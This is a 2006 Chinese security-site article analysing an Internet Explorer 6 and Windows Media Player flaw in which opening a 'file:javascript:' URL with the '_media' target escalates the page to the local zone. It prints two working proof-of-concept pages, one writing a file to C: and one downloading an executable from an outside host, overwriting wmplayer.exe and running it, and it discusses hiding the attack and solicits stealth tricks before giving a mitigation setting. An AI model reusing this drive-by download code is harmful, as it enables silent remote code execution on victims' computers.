岁月联盟 · 中国技术网 本站主页 | 安全认证 | 用户服务 | 技术论坛
新闻快报 | 新手学堂 | 黑客特区 | 程序语言 | 数 据 库 | 防 火 墙 | 路由交换 | 系统集成 | 服 务 器 | 存储备份 | 考试认证
Windows | Linux | Java | 协议分析 | 问题解答 | 进程大全 | 网页设计 | 多 媒 体 | 图库资料 | 软件下载 | 站内下载
  您现在的位置: 岁月联盟 >> 最新报道 >> 漏洞信息 >> 最新报道正文
MediaPlayer+IE6最新漏洞的简单研究
作者:未知 文章来源:本站整理 点击数: 更新时间:2006-5-7 16:03:51

这个漏洞只有IE6.0及以上版本才有。因为从IE6开始支持类似下面的java script:window.open("http://ip/";,"_media");
问题主要出在这里。

以下所有代码均在XP+WMP8.0+IE6.01+IIS6.0环境测试通过。
其中xp和IE已由windows update更新截止到发贴时的微软补丁。(但还是有漏洞)

先看下面这段代码:
<html>
<body>
<textarea id="code" style="display:none">
var s=new ActiveXObject(\"ADODB.Stream\");s.Type=2;s.Open();s.WriteText(\"ie bug test ok\");s.SaveToFile(\"c:\\\\bugtest.txt\",1);
</textarea> <!注意,textarea中不换行>
<script>
url="file:java script:eval(decodeURI(\""+document.all.code.value+"\"))" //注意,论坛自动在"javascript"中插入空格
window.open(url,"_media"); //主要关注这一句
</script>
write a file bugtest.txt to c:
</body>
</html>

将代码保存为ie6bug.htm,然后本地用IE打开。
结果在c盘生成一个名为bugtest.txt的文件,而打开的IE窗口多了一个“媒体栏”。
将ie6bug.htm放到IIS里,通过http://ip/ie6bug.htm访问,漏洞仍然有效。
是不是觉得有些“恐怖”了。

如果把window.open(url,"_media")改为window.open(url),则会有安全警告“此计算机上的安全设置禁止访问其他域的数据源”。
这是在预料中的。不管是本地打开html文件还是访问web时,IE的“域环境”都是“Internet”。一般情况下只能读写IE缓存等少数几个地方。
但微软似乎犯了个错误,当新窗口启用“媒体栏”时,“域环境”变成了“我的电脑”,即本地域。
单独执行window.open("about :blank","_media");就可以在IE状态栏看到这个变化。

然而,并不全是"_media"的错。如果去掉url中的"file:",在本地打开没问题。
但作为网页远程访问时,会警告“没有权限”。
至于为什么"_media"+"file:"会造成“域环境”变化,我不知道。

顺便说一下,用"_search"代替"_media"不会产生漏洞。

能够任意写程序到本地后,接着就是让程序运行了。
漏洞介绍中用的办法是:下载恶意程序覆盖wmplayer.exe,然后location.href="mms:";
这样,在windows文件保护起效前调用wmplayer.exe,恶意程序就执行了。
也可以替换telnet.exe,用location.href="telnet:"执行。
道理很简单,但要有实用价值还要解决“隐蔽性”问题。

当target="_media"时,总会出现“媒体栏”,即使使用<iframe>、<frame>等“框住”:
<iframe src="url" target="_media" height="1" width="1"></iframe>

先打开一个新窗口,再window.open(url,"_media"),然后关闭窗口也不行。
父窗口和子窗口都会出现“媒体栏”。子窗口可以被关闭,但父窗口不行。

用showModalDialog代替open还是不行。

试了很多办法都不能隐藏“媒体栏”。
漏洞介绍中使用的方法是:
先window.open(url,"_media")再window.open("error.jsp","_media")
通过访问error.jsp返回一个错误,这样“媒体栏”就消失了。
这个办法我测试不成功,因为打了补丁。
但微软的补丁似乎只是让返回错误时,“媒体栏”不消失。可是“域环境”变化仍然发生,所以漏洞仍然存在。
事实上,只要恶意程序能被运行,那么查找新窗口名并关闭它,然后开个正常的,这样就比较隐蔽了。
对于xp,同类窗口集合在一个任务栏窗口。所以窗口数变化并不明显。

谁找到好的隐藏办法,请共享一下吧。

我把漏洞介绍中的代码修改了一下,去掉消除“媒体栏”的功能(因为打了补丁就没用了)。

<html>
<body>
<textarea id="code" style="display:none">
var h=new ActiveXObject("Microsoft.XMLHTTP");
h.open("GET","http://www.sometips.com/soft/msconfig.exe";,false);
h.send();
var s=new ActiveXObject("ADODB.Stream");
s.type=1;
s.open();
s.write(h.Responsebody);
s.savetofile("c:\\program files\\windows media player\\wmplayer.exe",2);
s.close;
location.href="mms:";
</textarea>
<script>
var url=document.all.code.value;
url=url.replace(/\r\n/g,"");
url=url.replace(/\\/g,"\\\\");
url=url.replace(/\"/g,"\\\"");
url=url.replace(/\//g,"%2f");
window.open("file:java script:eval(decodeURI(\""+url+"\"))","_media"); //注意,论坛自动在"javascript"中插入空格
</script>
ie6 bug test.
</body>
</html>

测试代码前,请先备份wmplayer.exe。虽然windows文件保护会恢复它,但以防万一。
执行结果是运行了程序:英文版msconfig.exe。
程序是从sometips下载的,大小101k。如果网速慢,代码页打开也较慢。
如果WFP恢复文件时,msconfig正在运行,会在windows media player目录下生成一个tmp文件,其实它就是msconfig.exe。

堵住漏洞的办法很简单:IE-》工具-》Internet选项-》高级-》多媒体:"不在媒体栏显示联机媒体内容",选上它就可以了。
大家赶紧设置好,免得又中了XX“黑客”网站的招。


  • 上一个最新报道:
  • 下一个最新报道:
  •  
    热门文章
    推荐文章
    关于我们 | 发展历程 | 网站地图 | 广告服务 | 招贤纳士 | 战略合作 | 友情链接 | 著作声明 | 联系我们
    Copyright © 2002-2007 SYUE All rights reserved.
    E_mail:Admin@Syue.Com 皖ICP备05004589号
    未经授权禁止转载、摘编、复制或建立镜像.如有违反,追究法律责任.
    天龙八部私服 传世私服 传奇世界私服 天龙八部私服 bet365 天龙八部私服 热血江湖私服 英雄合击传奇私服 热血江湖私服 bet365 bet365